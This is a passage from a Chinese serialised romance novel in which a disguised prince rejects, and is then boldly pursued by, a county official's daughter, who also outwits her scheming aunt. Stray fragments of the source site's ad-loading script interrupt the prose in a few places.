听到外头传来叩门声，顾清嘉眉心不自觉微蹙。 若是长缨回来，自然不会叩门。 至于宁王叔，昨日方才见过，也不会派人登门。 整个清江县，也没有旁人知晓他的身份，不识相地上门打扰。 除非…… 除非是那位屡次制造巧遇的许小姐，以讨回银子为由，借机上门打探什么？ 她一位闺阁小姐，从哪里能知晓他的身份？必是幕后有人指使。 只不知那幕后之人，是许县丞、马县令，还是，他的好王叔？ 咚咚，那人仍在叩门。 顾清嘉合上书卷，放到案头，站起身。 刚绕过书卷，便听院门外传来年长妇人洪亮的呼唤：“贾秀才，在家吗？开开门，我是隔壁包大娘啊。” 当朝二皇子顾清嘉，此刻本该在京城闭门反省，修身养性，不应出现在这不起眼的小城。 是以，他在此地化名贾卿固，外人眼中一位孑然一身的寻常书生。 听到院外呼唤，他脚步猛然一滞，眸光狐疑。 竟不是许小姐主仆？ 这处院子隔壁，确实住着一位话多的包大娘。 听长缨说，从他们搬过来第二日，这位包大娘便时常领着孙儿、孙女在门口巷子里玩，小娃娃蹴鞠踢中院门，长缨开门打探，包大娘便会趁机跟长缨套近乎，打听他们来历。 自从包大娘无意中碰见他一次，对长缨笑得更加热络，隔三差五送来几个自家做的蒸饼、酱菜。 顾清嘉没碰过那些东西，倒是长缨，试过没毒后，悉数吃下肚，对那些松软发黄的蒸饼、颜色可疑的酱菜，赞不绝口。 略思忖，顾清嘉便猜到对方此番来意。 可惜今日长缨不在，否则定欣然开门。 “来了。”顾清嘉淡淡应声，并未透出心中不悦。 听到回应，包大娘面露喜色，收回敲门的手，将怀里抱着的礼品腾开，一手提一样。 顾清嘉打开门，神情微滞。 映入眼帘的，并非包大娘热切打量的眼神和蒸饼、酱菜，而是她喜上眉梢的笑脸，和手中提着的包装精美的礼品。 看那装礼品的匣子做工，便知价值不菲，不是寻常百姓无缘无故会送上门的。 顾清嘉困惑，面上不动声色。 “包大娘是来找长缨吗？他今日不在，若有事，晚辈可代为转达。”顾清嘉长身玉立，谦恭有礼一如往常。 哪知，包大娘提提手中礼品，冲他笑道：“我不找他，我找你！” “顶要紧的事，咱们进屋说。”包大娘笑着，自顾自抵开另一扇院门，从他身侧挤过去。 她往贾家送吃食，头一回贾家主仆还不好意思，后来都没拒绝，而且长缨有空时，还会教她们家虎子和大丫识字。 包大娘觉着，两家有来有往，彼此都了解，便算熟识，不必见外。 顾清嘉额角青筋跳了跳，可他总不能拉扯一位女性长者，把人往外赶。 若真如此，他在这处特意挑选出的清净小院，只怕就住不下去了。 只是，他生来便是天潢贵胄，从来只有人服侍他，哪有他亲自待客的时候？ 眼下长缨不在，顾清嘉连水也没烧，便随手斟一盏早已放凉的水，准备递给包大娘时，方觉不妥。 除非他特意吩咐，身边是没人拿一盏清水怠慢他的。 迟疑的一瞬，包大娘似乎瞧出他的窘迫，且另有一番解读。 包大娘伸手取走茶盏，不在意地抿一口，轻叹道：“可怜见的，你这小伙子生得这样俊俏，偏偏父母双亡，没个倚靠，老大不小了，连个给你张罗婚事的人都没有，就一个小厮跟着，到底不如小娘子贴心，知冷知热。” 顾清嘉听着，顿时有种不太好的预感。 果然，下一瞬，便见包大娘拍拍桌上叠放的两方礼品匣，以一种颇为侠义的语气道：“贾秀才，你尽可放心，这婚事呀，大娘可以帮忙操持，远亲不如近邻嘛！你说是不是？” “女方的条件，你瞧这上好的料子、笔墨就知道，那是没得说，小娘子的模样说是千里挑一都不为过。你家中情况，她也都知道，不嫌弃，就相中你这人。只要你应承，不日便能完婚。银钱用度都由女方出，不用你操一份心。到时候你搬过去，跟女方一起住，还省一笔租金。哎呀，我早觉着你们是天造地设的一对儿了，就等你点头。” 包大娘越说越激动，红光满面，站起身，殷切道：“知道你们年轻人脸皮薄，可你家没个长辈，我只能跟你提了。你不好意思吱声也无妨，大娘懂你心意，这就去给人回话了啊。” 顾清嘉眼神惊疑不定，听到后来，只觉匪夷所思。 包大娘是替人来提亲的？！ 父皇、母后要为他指婚，尚且被他使计避开，小小一个清江县，倒有人敢上门替他做主。 荒谬，可笑！ “等等。”他快步挡在屋门口。 他毫不怀疑，自己再不说些什么，这位过于热心肠的包大娘真敢稀里糊涂把他卖掉。 “包大娘的意思是，有人要聘小生做赘婿？”顾清嘉拱手，摇头，“我贾家虽落魄，小生还不至于如此辱没门风，多谢大娘美意。” “没呀，人家小娘子不让你入赘。”包大娘喜滋滋道，“要不是这样天大的好事，我也不好意思上门提。这回没意见了吧？到时别忘了请大娘喝杯喜酒。” 所以，女方真就什么都不要，只为嫁他这个人？ 顾清嘉过往认识的权贵成亲，或是依照祖宗规矩，或是各取所需，少有只图人的。 况且，他都不认得对方，对方又哪知他是怎样的人？ 头一回被人这般直白 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 提亲，顾清嘉也是这会子才反应过来，包大娘似乎遗漏了最关键的信息。 倒不是他对这莫名其妙的婚事动了心思，而是，他真的很想知道，那位惊世骇俗，托包大娘来提亲的小娘子是何方神圣。 “大娘，您好意来提亲，总得告诉晚辈，对方是哪家的姑娘。”顾清嘉耐着性子问。 包大娘也是头一回做媒，没经验，本就怕出错，听他这么一问，气势顿时弱下来。 挠挠头，神情略显窘迫：“当然是许小姐啊，许县丞家的千金，你们昨日还见过的，就住我家东边那院子。” 直到往院门处走的时候，包大娘还恍惚着：“诶，我刚没说是阿玉吗？这可真是闹笑话了。” 顾清嘉错愕，怔愣好一阵，才接受许小姐托人来提亲的事实。 又是她幕后之人想出的招数？ 为了往他身边塞人，还真是狗胆包天。 这么看，那幕后之人大抵不会是宁王叔，还没到图穷匕见的时候，宁王叔不至于算计他的婚事，来激怒他。 多半是马县令、许县丞知晓他的身份，为了自保，狗急跳墙。 动宁王叔不易，捏起他们却是轻而易举，他们是不敢明着拆穿他的身份的。 顾清嘉不打算顺水推舟，把一位不知道算不算无辜的女子牵扯进来。 他提起礼品，快步行至院门处，将东西还给包大娘。 对上包大娘讶然的眼神，他正色道：“多谢大娘好意，只是小生家道中落，穷困潦倒，不敢高攀许小姐，还请大娘代为向许小姐致歉。” 许菱玉一早去阿娘坟前拜谢过，回城顺道去了阿娘的陪嫁铺子。 期间特意让金钿从酒楼叫了一桌席面，待会儿送到桂花巷家里去，她要好好向包大娘道谢。 谁知，刚进巷子口，便见包大娘吃力地抱着她准备的礼品，站在她们家院门口叩门。 “包大娘？”许菱玉诧异唤。 她感觉不妙，脚步加快。 “哎呀，阿玉，你可回来了。”包大娘面色焦急，眼含歉意。 正好，院门被芹姨从里头打开。 她们齐齐望着包大娘，包大娘硬着头皮道：“阿玉，大娘笨嘴拙舌，亲事没说成，那贾秀才说他不敢高攀。” “东西还给你们。”包大娘把东西递给院门内呆立着的姚芹，讪讪自责，“不是阿玉不好，都怪我，我哪会做媒呀，没有金刚钻就不该揽这瓷器活，都怪我，都怪我。” “没事，让大娘费心了，您且回屋歇歇，待会儿过来用饭，把虎子、大丫，还有他们娘都叫上。我让金钿叫了席面，待会儿就送来。”许菱玉轻握一下她小臂，含笑宽慰她。 包大娘是个热心肠，嘴皮也伶俐，定然能把她夸得明明白白。 亲事不成，症结自然在那贾秀才身上。 说完，许菱玉也不进屋，抬脚便往巷子里头走去。 东西可沉，芹姨提着，行动受限，伸长脖子问她：“阿玉，你干什么去？” 许菱玉背对着她们，摆摆手：“等我回来用饭，很快。” 她要亲自去会会这贾秀才！ 媒人携礼登门，且不必他入赘，本以为板上钉钉的亲事，谁知竟被他婉拒了。 什么高攀不上？他就是不愿意。 是他太清高，还是看不上她？ 或者因为她是许县丞的女儿，他不敢应承？ 许菱玉才不会在心里胡乱猜测，她要当面问个清楚。 5. 狂言 笃笃笃，许菱玉手压门环，重重叩门。 金钿在她身后，扯着她衣袖，小声劝阻：“小姐，你可是姑娘家，哪能干这上门逼婚的事？” 话音刚落，院门从里打开。 许菱玉相中的郎君，就站在门槛内侧。 见着是她，对方身姿似乎陡然僵直。 许菱玉目光顺着他突出的喉结往上，越过他薄而轻抿的唇，挺直的鼻，对上那双已在脑海中浮现过许多次的眼。 “许小姐，小生不才，当不起小姐看重，已同包大娘言明，还请小姐宽宥。”顾清嘉很快平复心绪，语气温和，不失仪态。 不管她因何目的故意接近他，顾清嘉都不打算与她有任何牵扯。 他若有意成亲，何必在即将选秀的节骨眼，故意惹怒父皇，被罚闭门思过，避到这清江县来？ 虽然，这只是他清江县的诸多原因中，最微不足道的一个。 脑中一个念头快速闪过，顾清嘉未能捕捉到，便见眼前的许小姐微扬秀眉，顾盼神飞睥他：“若我是来讨债的呢？别忘了，你还欠我十几两银子，昨日还口口声声说要还的。怎么，不请我进去坐坐？” 欠债还钱，天经地义，左右他现下就能拿得出，不怕她进来过多纠缠。 顾清嘉略思量，侧过身，让出一条路来。 “金钿，你在门口守着，莫让外人来打扰。”许菱玉侧眸吩咐一身，便捉裙举步迈入门槛。 湖水蓝的裙子下，绣花鞋尖一晃，人已轻盈越过顾清嘉，行至院中。 少女孤身立于陌生庭院，姿态落落大方，自然地四下打量。 仿佛她不是硬要进来，而是被他邀请来的贵客。 顾清嘉侧眸望着她背影，小半思绪被鼻尖细细香气纠缠。 这香气淡淡的，似有似无，不俗气，不知来自巷中春花，还是少女身上脂粉。 穿堂风吹动少女轻软裙摆，娉娉袅袅，似风拂细柳，不经意为空落清寂的庭院增色。 但顾清嘉已明了，人不可貌相，此女脾性并非如外表一般，轻柔似春水。 家中有女郎造访，未免惹人非议，顾清嘉没关院门。 他回身，眸色已如常。 行至许菱玉身侧，似个迂腐的穷酸书生，施礼道：“许小姐稍待，小生这就进屋去取银钱。” 嘴里这般说着，却未展臂邀许菱玉进屋坐，而是大步越过她，自行进屋。 如此怠慢，她一个姑娘家，便该知难而退了。 许菱玉目光环顾四周之后，便落在他背影。 瞧他那大步流星的模样，是怕她赖着不走，影响他清誉么？ 可惜，她今日就是来耍赖来着。 他是有些迂腐，可换句话说，也能称一句洁身自好不是？ 她这般直言不讳，说要上门讨债，他不仅不恼，还当真乖乖去拿银子。 正如包大娘说的那样，脾气不差。 不过，她还想再试试他。 看他这张脸，究竟值不值得她多费心思。 其实真要是没遇着合适的人，她也能拜托高澍与她假成亲，高澍定然愿意为她两肋插刀的，可他爹高县尉不是省油的灯啊。 等风头过去，她想和离也麻烦，还辜负高澍一片痴心。 立在这空旷的小院，望着一眼几乎看不到多余陈设的屋子，许菱玉越看越庆幸。 幸而遇上落魄的贾秀才，模样俊，瞧着顺眼，好拿捏，解她燃眉之急。 许菱玉轻手轻脚走进屋内，自顾自坐到桌旁，朝顾清嘉消失的方向望去。 等他拿着东西一露面，那脸上一瞬的挣扎，被许菱玉抓个正着。 想请她出去，又不好意思开口么？ 顾清嘉上前，将小小一方灰蓝色布包摊开，几块碎银呈至许菱玉眼前：“那日，多谢许小姐慷慨解囊。” 许菱玉常跟银子打交道，瞥一眼便知不少。 除非他敢用灌铅的假银子糊弄她。 但他一介白身，在清江县毫无根基，明知她爹是县丞，自然是不敢作假的。 瞧他家中境况，弄来这些银子恐怕费了不少心力，但他偏就能说到做到，倒是个实在人。 许菱玉目光落在他掌心，唇角噙笑，抬起素白柔荑。 灰蓝色粗布在他掌上摊开，覆盖住他手掌肌肤，从布料垂下的轮廓，也能辨出他手掌较为宽大。 她的手本就不大，一靠近他的，格外显小，衬得她多娇小似的。 可眼下，明明他这大个头才是被戏弄的那个呢。 顾清嘉不习惯被人这般靠近，尤其是对他有所企图的妙龄女子。 在京城时，他名声在外，挡去许多麻烦。 即便有贵女试图接近他，只需他冷眼扫过去，对方便会吓得面色苍白，远远避开。 偏他此刻身份乃是寻常书生，甚至是穷困落魄的书生，他不能对她动粗，甚至不能露出冷厉的眼神吓着她。 眼睁睁看着对方皙白的手指逼近，顾清嘉忍耐着，指骨莫名发痒，不自觉地动了动。 他劝慰自己，只要许菱玉干脆利落地拿银子走人，往后便没有理由再作纠缠。 顾清嘉眼睁睁看着，等着她取走碎银。 可许菱玉纤纤细指抬至碎银上方寸许处，并不往下落，而是忽而悬滞。 这样近的距离，顾清嘉几乎能隔着衣料感受到少女雪腕的温度，这让他感到困扰。 他克制着狠狠攥住她细腕，将人重重甩开的冲动，忍得连气息也随她迟滞的举动而放缓。 许菱玉盯着他微颤的指骨，心口划过一丝异样，他似乎不太喜欢女子靠近。 对他的好感，不由得又添一分。 等成了亲，便不担心他有朝一日变成许淳那般，在外拈花惹草恶心到她。 许菱玉见好就收，不再作弄他。 指尖从他掌心上方，移至他掌侧垂下的布料一角，继而将相对的两角捏起，轻轻拢至中间，将碎银遮拢在他掌心。 感受到头顶注视，许菱玉又将另外两角折起，同样交叠在他掌心。 右手食指在他掌心交叠的位置，不轻不重往下一压。 随即，许菱玉抬起盈盈生光的眼眸，含笑望他：“贾公子误会了，我是进来讨债的，可我不要银子，我要你这个人。” 顾清嘉平静的眼波为之震荡。 不知因那掌心一压的力道，还是她张狂不羁的话。 从未有人敢对顾清嘉这般口出狂言。 他震惊之余，紧紧攥起掌中碎银。 当朝二皇子，征战数载的铁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 血将军，在这胆大包天的小丫头眼里，就值十两银子。 顾清嘉微微眯起眼，审视着眼前少女，她奉命接近他，该不会并不知他是谁？ “秀才，你干嘛这样看着我？”许菱玉疑惑，不太懂他此刻眼神算不算是羞恼。 “别误会，我是诚心诚意想与你结亲，并非有意折辱你。”许菱玉说着，视线扫过他屋子里外，“你瞧，你这院中、屋内都是干干净净的，没一样多余陈设，离家徒四壁也差不多了。你家资不丰，读书取仕却是极花钱的，还不知哪年能考中。只要你答应婚事，往后我可以供你吃住、读书，为你上下打点，于你而言，百利而无一害是不是？” 听起来很有道理，若顾清嘉是寻常书生，恐怕包大娘上门提亲时已然心动。 可惜，他是个假书生，既不却银钱，也不需要读书取仕。 拒绝的话，已经说过，许小姐显然听不进去。 顾清嘉略作思量，轻叹一声：“以许小姐的容貌、家世，清江县里愿意娶小姐为妻的，必不再少数，小生与许小姐不过萍水相逢，许小姐何苦执意托付终生呢？” “想娶我的是不少，可他们都没贾秀才你生得俊朗啊。”许菱玉抬眸，润泽的水眸中倒映着顾清嘉的面容，大大方方欣赏。 顾清嘉面色微变：“小生从未见过你这般，这般……” “这般什么？”许菱玉仍旧望着他，甚至踮起足尖，凑得更近些，逼得顾清嘉不得不后退一步。 许菱玉眼中笑意漾开：“没见过像我这般没羞没臊的女子是不是？” “巧了，我也没见过似你这般不识抬举的书生。”不是什么好词，可许菱玉的语气分明透着夸赞，她越瞧他越觉有趣，故意轻佻地冲他挤挤眼，“可本小姐偏要抬举你，等着啊，我会嫁你的。” 语气像极了世间男子向女子许诺：“放心，我会娶你的。” “我不会同意。” 许菱玉走出院门时，身后传来男子无奈却坚定的嗓音。 她不意外地摆摆手：“不，你会，明日去县衙立婚书啊。” 言毕，迈出院门，步履轻快，春风得意。 “小姐，你在贾公子眼里，只怕已成了强抢民男的恶小姐。”金钿跟在许菱玉身侧，替自家小姐犯愁，“小姐这样吓唬他，他怎么会乖乖听话，去县衙立婚书啊？” 许菱玉笑：“他呀，性子是好，骨子里却是清傲的，不吓他也不会乖乖听话的。他是谦谦君子，我才特别想逗他。” “别担心，你家小姐我已经想好法子了。”许菱玉侧首，点点自己脑门，冲金钿眨眨眼，“不怕他不来。” 原本，许菱玉只是想找个人成亲，躲过择选。 等她利用这婚事，把想做的事做好，便给对方一笔小钱，与之和离，两不相欠。 可一想到那贾秀才出众的风仪、品性，许菱玉对这婚事倒是多了几分期待。 和离倒是不必急着安排了。 小巷风中，弥散着各家炊烟气息，和膳食的香气。 许菱玉不自觉加快脚步，语气也轻快：“走，回家吃饭去！” 她面带笑意，刚进院门，便听院里传来一道熟悉的嗓音：“哟，阿玉同那新邻居聊了些什么，这样高兴？” 是她的好舅母江氏。 6. 亲事 舅母手里端着一盘刚出锅的河鲜，立在屋前石阶旁，侧眸打量着许菱玉。 坐在膳桌旁，正拿点心招待包大娘一双孙儿的孟千里，赶忙站起身唤：“表妹。” 唤完，不知想到什么，面色涨红。 许菱玉一眼便瞧出，八成是舅母听说她不参加择选的风声，又同表哥叮嘱什么了。 “舅母，表哥。”许菱玉唇角笑意不减，眼中愉悦却是淡下来，“还以为舅母今年不来，招呼不周，还请舅母别见怪。” 不等江娴开口，许菱玉便吩咐金钿：“快去摆膳，哪能让舅母受累呢。” 金钿忙上前接过菜盘，手脚麻利往屋里摆。 许菱玉挽住江娴的手，一口一个舅母，叫得甜甜的，脆生生的，同她说起早上去阿娘坟前祭拜的事。 “阿玉不孝，一段时日没去阿娘坟前祭扫，周边的草木又长深了，就我和金钿两个，费了好些功夫才清理好。”许菱玉状似无意絮叨着，顺势拉开座位，将江娴安置在膳桌上首。 孟千里有些手足无措，插不上话，笑容勉强。 倒是江娴，听得脸上火辣辣的。 阿玉分明是在骂他们做舅舅、舅母的呢！ 方才她拿饴糖，从虎子、大丫两个小娃娃嘴里套话，听说巷尾那家搬来的是位姓贾的书生，江娴当时心里就不舒坦。 阿玉一个姑娘家，去男人家里串门能有什么好事？ 孤男寡女，伤风败俗！ 没娘的孩子，就是没人教养。 可一想到阿玉她娘留下的丰厚嫁妆，江娴还是耐着性子，给足阿玉颜面，没直接去贾秀才家把人训回来。 江娴本想等阿玉回来，问问阿玉与那秀才的关系，再敲打她几句的。 哪曾想，她还没开口，许菱玉倒先来点她了！ 江娴心里有气，可她也知道自家理亏。 这会子，她也顾不上教训许菱玉了。 江娴按捺怒气，拉住许菱玉的手，讪笑着解释：“都怪我们太忙了，一时没顾上。阿玉，你知道的，我和你舅舅守着那份家业不容易，这年头，生意是越来越难做了。今日你舅舅本是要来的，临时被一位老主顾绊住脚，才叫了你表哥来代他上柱香。” “阿玉，你要体谅我们，我和你舅舅努力守着那家业，最后还不都是留给……” 江娴没说完，便被许菱玉接过去：“留给表哥的嘛，舅舅、舅母忙着为表哥攒家当，好说亲事，阿玉怎会不理解？” 她眼神灵动，语气俏皮，瞥向孟千里的眼神带着些捉狭，即便是有意打断，也不叫人难堪。 包大娘假装听不懂她们话里的机锋，笑呵呵道几句吉利话，又夸赞孟千里一表人才，屋里气氛活络不少。 正好，芹姨那边菜都烧好，酒楼里的菜也早送来摆上了，许菱玉吩咐金钿取出备好的果子茶，招呼众人用膳。 午膳后，虎子、大丫要歇觉，他们娘怀里抱一个，手里拉一个，先回去了。 包大娘因要去给儿子送饭，也没多留。 金钿和芹姨收拾下碗箸，在灶房忙碌。 屋子里只剩许菱玉一人，招呼江娴母子两个。 “舅母是再坐坐，还是回去看铺子？”许菱玉浅笑，“我这里已没有什么要帮忙的，不敢耽误舅母的正事。” “娘，爹一个人忙不过来，咱们先回去吧。”孟千里知道他娘迟迟不走的原因，也知道他娘想说什么，但他不想让他娘开口。 不管是从前还是今日，他明显感觉到，表妹对他并无男女之情，也没有半分想嫁给他的意思。 他娘比他精明得多，不可能听不出来，可娘仍旧固执。 果然，他的阻拦并不管用。 “忙什么忙？生意再重要，能比终身大事更重要？”江娴斥了儿子一句。 继而，端量着许菱玉姣好的容颜，压低声音问：“阿玉，我听说你不打算参加择选？可你年龄在这儿，许淳的官职在这儿，哪是你说不去就不去的？” “多谢舅母关心，阿玉已想到办法，可以不参选，也不会被人追究的。”许菱玉没打算细说。 左右明日之后，尘埃落定，该知道的，舅母都会知道。 江娴没问她想的什么办法，在江娴看来，那都无关紧要。 江娴摇摇头，轻叹：“哎，你一个未出阁的姑娘，才经历多少事？能想到什么万全的法子？舅母倒是想到一个绝妙的办法，你听我的，准没错。” 许菱玉笑望着她，没应声。 江娴以为她是没听懂，激动之下，也没卖关子。 “哎呀，就是尽快把你的亲事定下来，只要定了亲，不就不在待选之列了？”想到即将促成的美事，江娴眉开眼笑。 可又不能让这小丫头看出她的企图，江娴竭力忍着喜悦，语重心长道：“你今年都要过十七生辰了，即便不选秀，我和你舅舅也商量着，该替你做主，代你阿娘为你定个好人家。天大地大，娘亲舅大，我和你舅舅不替你做主，还能指望谁呢？” “只是，我们看来看去，这清江县能配得上阿玉你的，屈指可数。思来想去，我们觉得呀，不如你和千里成亲，嫁回孟家来，你表哥的性子你是知道的，有担当，肯努力，你们肯定能把日子过好。我和你舅舅更会疼着你，总比你嫁到别家去，受婆婆姑子磋磨好，你说是不是？” “只要阿玉你点头，我就好好劝劝你舅舅，让他暂时放下旧怨，去找许淳提亲。” 江娴说着，一时欢喜，一时愁。 欢喜的是阿玉的丰厚嫁妆，往后都是孟家子孙的。 愁的则是阿玉的性子，花钱大手大脚，还跟戏班子里的俊俏武生眉来眼去，与巷尾新搬来的秀才郎也是不清不楚，恐怕成亲后会不安于室，须得她好好调教。 这厢，江娴已暗自想着调教人的手段。 孟千里却低着头，没接话，手指抠得泛红，耳朵也红得像火烧一样。 “表哥也这样想吗？”许菱玉没着急回答江娴的话，而是温声问孟千里。 孟千里抬眸，动作迟缓又沉重，对上许菱玉澄滢的眼，他眼神躲闪，回应得很是艰难：“我，我……” “你不愿意。”许菱玉不给他反驳的机会，语气笃定，温和而有力地质问，“为什么不愿告诉舅母？” 江娴脸色微变，恨铁不成钢：“千里，说你愿意。你说话呀！来之前娘怎么叮嘱你的？！” “表哥，方才舅母还说，表哥有担当，肯努力。”许菱玉语气温柔，看似漫不经心，却字字直击要害，“阿玉也一直以为，我唯一敬重的兄长，是一位有担当的好儿郎，若遇上他心仪的女子，他绝不会辜负。” 江娴听着怪怪的，又摸不准哪里怪。 这会子她要哄着许菱玉，自不能怪许菱玉含混不清。 只好将火气冲着孟 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 千里：“孟千里，你一个大男人，别婆婆妈妈的，说句你愿意求娶阿玉，好让阿玉知道你的心意！” 从许菱玉说出那番话，孟千里便心虚地垂首，不敢再与之对视。 他心中天人交战，面上一阵红，一阵白。 “你要急死我呀！”江娴焦急的嗓音带一丝哭腔。 她委屈呀，她江娴寄予精心栽培，寄予厚望的儿子，怎么总到关键时候让她有种无力感？ “表哥，你自己不争取，就永远得不到真正想要的。”许菱玉盯着孟千里发顶，缓缓开口。 她的话重重落在孟千里心口，不啻惊雷。 孟千里狠狠一震。 她知道，她肯定都知道！ 难怪表妹不想嫁他，表妹根本不会嫁给这样懦弱的他！ 孟千里双手攥紧，看着手背涨起的青筋，他决然抬首。 没应许菱玉，红红的眼含着泪，定定盯着江娴：“娘，儿子有喜欢的人了，不能娶表妹。” 晴天霹雳，江娴只觉眼前一黑。 随即，握住扶手，厉声唤：“孟千里！” “儿子要娶……”孟千里话未说完，骤然被许菱玉打断。 “表哥！”许菱玉冲他摇头，“慎言，若无十足的把握，便是害人害己。” 听到提醒，孟千里正好看清江娴眼中几欲杀人的愤恨，他陡然惊出一身冷汗。 他娘不会真的杀人，却有许多办法毁掉他心仪之人。 孟千里截住话头，俯身，额头重重叩在地砖上：“求娘成全。” 许菱玉望着孟千里弓起的脊背，浅笑。 这是她记忆中，表哥最像个男儿的时刻。 院外春阳照着枝条上新发的嫩芽，微风斜斜穿入窗棂，沙沙声里裹着草木生机。 而屋内，阳光照不到的地方，还有些冷意。 江娴盯着儿子的脊背，被风吹得，冷得一个激灵。 “都是阿玉逼你这么说的，是不是？你天天在娘眼皮子底下，娘还不知道你？你能喜欢谁？你只会喜欢阿玉。”江娴快速回想一遍许菱玉的话，心中生恨，望着许菱玉的眼神也不再和善，“阿玉，你是不是跟外头哪个男人私相授受了，才不愿嫁给千里？” “那人是谁？高县尉的公子？戏班子里的武生？还是巷尾新搬来的小白脸？”江娴语气轻蔑，“你若不学好，定要回去告诉你舅舅，让他好好教导你！” “娘，你怎能把表妹说得这样不堪？！”孟千里睁大双眼。 他娘不是口口声声把表妹当女儿看待吗？有哪个母亲会这样贬损自己的女儿？ 这会子，孟千里才意识到，表妹不嫁他，并不只是不喜欢他一个。 面对着江娴的欲加之罪，感受到孟千里愧疚的目光，许菱玉并未与江娴争执。 而是站起身，款款行至供桌前，伸手拿起母亲孟茴的牌位，捏起袖口轻轻擦拭着，轻道：“阿娘您看，没娘的孩子就是会被人欺负的，方才那些恨不得逼死女儿的话，竟出自我亲舅母之口。舅母是长辈，女儿不敢顶撞，娘在天上看着，若是心疼女儿，还请为女儿做主啊。” 她声音虽轻，却能让江娴听清楚。 一席话，说得江娴又心虚，又恼怒。 尤其最后一句，让她面色顿时煞白。 许菱玉这小蹄子，竟然当着她的面，向孟茴告状，还让孟茴在天上不要放过她？！ 7. 成竹 “行，你伶牙俐齿，六亲不认，舅母说不过你。”江娴起身，拉着孟千里，走到门口，恨恨道，“咱们走着瞧，等你长成老姑娘，嫁不出去，可别去我们孟家门口哭！” “表妹，对不起。”孟千里话音刚落，便被江娴扯走。 听到动静不对，芹姨拎着刚洗好的铲子出来，还滴着水，金钿也顺手摸了灶房门口的扫帚，带起一阵尘灰。 出来看时，江娴已拉着孟千里出了院门。 许菱玉望着芹姨和金钿，哭笑不得：“你们做什么？要帮我把他们打出去？不至于，我自己能把她气走。” 许菱玉把长辈气走，芹姨浑然不觉得她大逆不道，看看大开的院门，再看看眉眼含笑的许菱玉，滴水的铲子放低了些：“我们阿玉没被欺负就行。” 说完，拎着铲子，继续回灶房收拾去了。 而金钿，把扫帚靠在墙根，走到许菱玉身侧，忧心忡忡：“小姐，就这么气跑了舅太太，万一请来舅老爷教训你，怎么办？您该忍着些脾气，叫芹姨过来的。” 芹姨虽是下人，却是孟茴留下的老人，且奶大了许菱玉，劳苦功高，是不怕与江娴起冲突的。 江娴也无法用忠、孝来压她。 “放心，舅舅、舅母暂时没空管我。”许菱玉想到孟千里的事，笑得意味深长。 今年上元夜，她无意中撞见表哥隐在灯火阑珊处，往一位女子发间插花簪，两人举止守礼，可那双双垂首含羞的模样，俨然一对眷侣。 她知道孟家的情况，便一直没说破。 后来悄悄让人查了，那女子名唤袁芷兰，父亲是个木匠，一家都老实本分。 是以，今日孟千里想说出对方芳名，许菱玉特意阻拦。 她希望孟家内部生乱，莫来惦记她的事，却没想牵连无辜。 午后，许菱玉拆阅了几封书信，又提笔写下两封回信，交给金钿：“去驿站，一封送去幽州，一封送去檀州。” “是。”金钿接过封好的书信，塞入袖袋，领命而去。 芹姨提着针线筐，坐到许菱玉对首，取出缝了一半的衣裳，把布料稍稍拿远些，看看针脚，这才边缝边问许菱玉：“阿玉，真打算嫁那姓贾的书生？我听金钿说，他没答应，你有什么打算？” “是，芹姨您知道的，我喜欢生得好看的郎君。”许菱玉放下手中的事，以手支颐，俏皮地冲芹姨眨眨眼，“他是没答应，不过我有法子让他答应。” 至于法子是什么，她从贾家出来的时候就想好了。 “你呀，处处都像你娘，只是千万别……”芹姨说到一半，叹了口气，闷头缝衣。 许菱玉知道，芹姨是怕她步娘的后尘，栽在男人手里。 “不会。”许菱玉挪到芹姨身侧，环住她肩膀，稍稍使力，保证。 “芹姨，您还记不记得，我小时候，曾经不小心摔坏过一块玉璧？”许菱玉温声问。 芹姨本还想对她的婚事说些什么，又无奈自己人微言轻，帮不到她什么。 况且，她奶大的孩子，她知道，阿玉是个有主意的，孩子既然说有法子应付，便是真有法子。 听许菱玉提起小时候的事，芹姨注意力被拉回许菱玉幼年时，便顾不上问她的打算了。 芹姨将她婚事暂且搁置一旁，笑意慈和瞟她一眼：“怎么突然想起那块玉璧了？” 随即，她收回视线，继续缝衣裳：“是有那么一块玉璧，我记得是青玉的，雕刻云纹，顶好看，是你阿娘生前喜爱之物。你那时候年纪小，调皮，非要拿着玩，不小心给摔成两半，可把我心疼的。” “拿去铺子里，想让人拿金子镶起来，修补好，可我看那匠人手艺不算好，怕辱没了那玉，就没让修。这么多年过去，应当在哪个箱笼底下收着呢。”芹姨念叨着。 时日太久，又是一块摔坏了的玉璧，芹姨一时没想起来在哪个箱笼里。 她手中动作慢下来，正思量着，便听许菱玉道：“芹姨，帮我找出来吧，我有用。” “啊？”芹姨诧异抬头。 许菱玉没解释，她也没细问。 这两年，许菱玉让芹姨在这处院子里颐养天年，好多事都不需要芹姨去做了，可阿玉时常借在桂花巷小住的机会，离开一段时间。 芹姨隐隐能猜到，阿玉身上还担着些她不知道的事。 这会子，许菱玉说拿那玉璧有用，芹姨只当是与她不知道的那些事有关。 为免耽误许菱玉的事，芹姨当即把布料针线塞进筐篓，拍拍衣摆，起身道：“我这就去给你找。” 许菱玉笑笑，也一起去库房找。 小半个时辰后，终于在角落里一个红木箱笼找到。 摔做两半的青玉，玉质润泽，品相极好。 许菱玉收拢指尖，将残玉攥起，笑容胸有成竹，仿佛攥起一段飞不掉的姻缘。 贾家院子里，顾清嘉坐在临窗的书案侧，正翻阅书卷。 忽而听见两声叩门声，继而，有人自行打开院门进来，是长缨。 长缨进屋，朝外扫视过，合上门扇轻禀：“公子，属下查到一些关于许大人的事。” 许是忙得未停歇，他嗓音有些干哑。 “先喝口茶再说。”顾清嘉收起书卷，瞥向放置茶具的桌子，起身。 长缨忙道：“属下先去烧水。” “不必。”顾清嘉说着，已自顾自斟一杯凉茶来饮，还顺手斟一杯递给长缨。 长缨看看放在自己眼前的茶盏，再看看一脸淡漠的主子，双腿微微发抖，继而跪下：“属下该死。” 公子金尊玉贵，何曾给人倒过水？更别说对他这个下人。 除非，他无意中犯了什么错，公子赏他一盏毒茶，让他去死。 “起来坐好。”顾清嘉拧眉，声音冷淡，“喝茶，回话。” 长缨起身，坐到桌边离顾清嘉最远的位置上，视死如归饮下凉茶，凉意划过喉间，如寒利的刀刃。 可他感觉得到，水里没毒。 顾清嘉神情自若饮茶，不知在想什么。 